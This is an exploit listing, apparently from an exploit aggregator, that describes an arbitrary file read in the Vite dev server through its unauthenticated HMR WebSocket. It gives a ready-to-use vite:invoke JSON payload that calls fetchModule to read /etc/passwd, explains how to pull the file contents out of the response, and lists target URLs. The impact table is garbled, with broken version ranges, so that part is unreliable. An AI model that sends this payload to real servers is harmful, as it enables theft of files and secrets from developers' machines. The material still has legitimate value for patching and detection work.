Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Vitejs Vite

## https://sploitus.com/exploit?id=14321B03-3468-5E85-948E-86F29BD2892D
# CVE-2026-39363 – Vite Dev Server Arbitrary File Reading PoC

A directly executable PoC targeting **GHSA-p9ff-h696-f583**. By using unauthenticated HMR WebSocket to call `fetchModule`, it bypasses the `server.fs.allow` restriction at the HTTP layer and reads arbitrary files on any machine running the dev server.

## Impact

| Version | Affected | Fixed |
|--------|--------|--------|
| Vite 6 | `>=6.0.0, =7.0.0, =8.0.0` → 403 | 2. However, HMR WebSocket only verifies:
   - `Sec-WebSocket-Protocol: vite-hmr` header,
   - and requires the `?token=` query parameter **only when the Origin header is present** (CWE-306: Non-browser clients can connect without the Origin header). 3. After connection, the `vite:invoke` custom event calls the `fetchModule` method registered on the server, with the argument `file://?raw`. `fetchModule` bypasses the `fs.allow` check entirely, returning the file content as `export default "..."` (CWE-200). The structure of the `vite:invoke` request message is consistent across versions (V6/V7/V8):

```json
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}
```

The server responds with `id` becoming `1response`, and `data.data.result.code` indicates the file content.

## Usage

[source-iocs-preserved url=http://192.168.1.10:5173,http://192.168.1.10:5173`,http://target:5173,http://target:5173/@fs/?raw,https://target:5173 ipv4=192.168.1.10]